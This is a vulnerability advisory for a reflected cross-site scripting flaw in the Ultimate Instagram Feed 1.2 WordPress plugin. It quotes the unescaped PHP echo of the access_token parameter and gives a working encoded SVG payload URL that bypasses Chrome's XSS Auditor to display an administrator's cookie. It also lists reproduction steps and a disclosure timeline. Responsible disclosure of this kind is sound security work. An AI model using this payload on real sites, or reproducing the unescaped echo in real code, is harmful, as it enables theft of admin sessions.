WordPress Ultimate Instagram Feed 1.2 Cross Site Scripting

`------------------------------------------  
**Ultimate Instagram Feed* - WordPress plugin*  
Version: 1.2  
Author: OmarK <http://omark.me/>  
------------------------------------------  
  
The vulnerability lies in the "*access_token*" parameter and can cause  
reflected *XSS* vulnerability.  
  
The issue is on the file  
*ultimate-instagram-feed/admin/partials/uif-access-token-display.php* line  
19:  
  
<input id='uif_access_token' type="text" class="regular-text"  
name="uif_access_token" value="<?php if(get_option('uif_access_token')){echo  
get_option('uif_access_token');}elseif(isset($_GET['access_token'])){*echo  
$_GET['access_token'];*} ?>">  
  
the vulnerable code is the following:  
*echo $_GET['access_token'];*  
  
There is an echo of the variable "access_token", which can be controlled by  
the user. This leads to reflected XSS vulnerability.  
  
The vulnerability can be exploited against an administrator by using the  
following url:  
  
http://victim/wp-admin/admin.php?page=ultimate-instagram-fee  
d.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3E  
*Please+Watch+the+video+before+proceeding*%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%  
3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2  
Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3A  
*alert%28document.cookie%29%3E*  
  
A logged in Administrator, who will click on the above link, he will  
introduced with a video as presented in the attached PoC picture. When he  
will click the video, the javascript code (an alert box for this poc) will  
be executed.  
  
In this case, the javascript code is just an alert box with the cookie,  
however any kind of malicious javascript code can be used. The attacker can  
gain access to the session cookie and gain access to the wordpress as an  
admin.  
  
*Reproduce*:  
  
1. Login to your wordpress as an admin.  
2. Access the following link:  
  
http://*yoursite*/wp-admin/admin.php?page=ultimate-instagram-f  
eed.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+  
proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%  
3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+  
attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%  
28document.cookie%29%3E  
  
3. You should see the same screen as in my PoC picture.  
4. Click to see the video.  
5. The alert box should be executed.  
  
I used this kind of payload in order to bypass the Chrome XSS Auditor. The  
vulnerability has been tested against:  
  
- Ultimate Instagram Feed Version: 1.2  
- WordPress 4.8.3 running Twenty Seventeen theme.  
- Chrome Version 61.0.3163.100 (Official Build) (64-bit)  
  
*Timeline*:  
31 Oct 2017: Initial Contact.  
31 Oct 2017: Vendor replies and asks for more information.  
1 Nov 2017: Details have been provided to the vendor.  
2 Nov 2017: WordPress has been informed/WordPress team Requests more  
information and receives them.  
4 Nov 2017: WordPress acknowledges  
4 Nov 2017: Vendor releases version 1.3 which fixes the issue.  
8 Nov 2017: Public Disclosure  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
gr33tz for the payload @brutelogic (  
https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/)  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
  
Best regards,  
Elias Dimopoulos  
`